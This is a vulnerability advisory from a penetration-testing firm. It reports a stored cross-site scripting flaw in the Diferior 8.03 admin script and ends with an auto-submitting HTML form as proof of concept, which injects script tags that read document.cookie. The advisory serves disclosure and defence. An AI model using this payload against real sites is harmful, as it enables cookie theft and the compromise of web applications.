Vulnerability ID: HTB22722 Reference: http://www.htbridge.ch/advisory/cross_site_scripting_vulnerability_in_diferior.html Product: Diferior Vendor: Povilas Musteikis ( http://www.diferior.com/ ) Vulnerable Version: 8.03 and probably prior versions Vendor Notification: 25 November 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in "subcatname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/forum/create_sub.html" method="post" name="main"> <input type="hidden" name="cat" value="1"> <input type="hidden" name="subcatname" value='subname"><script>alert(document.cookie)</script>'> <input type="hidden" name="description" value='description"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script>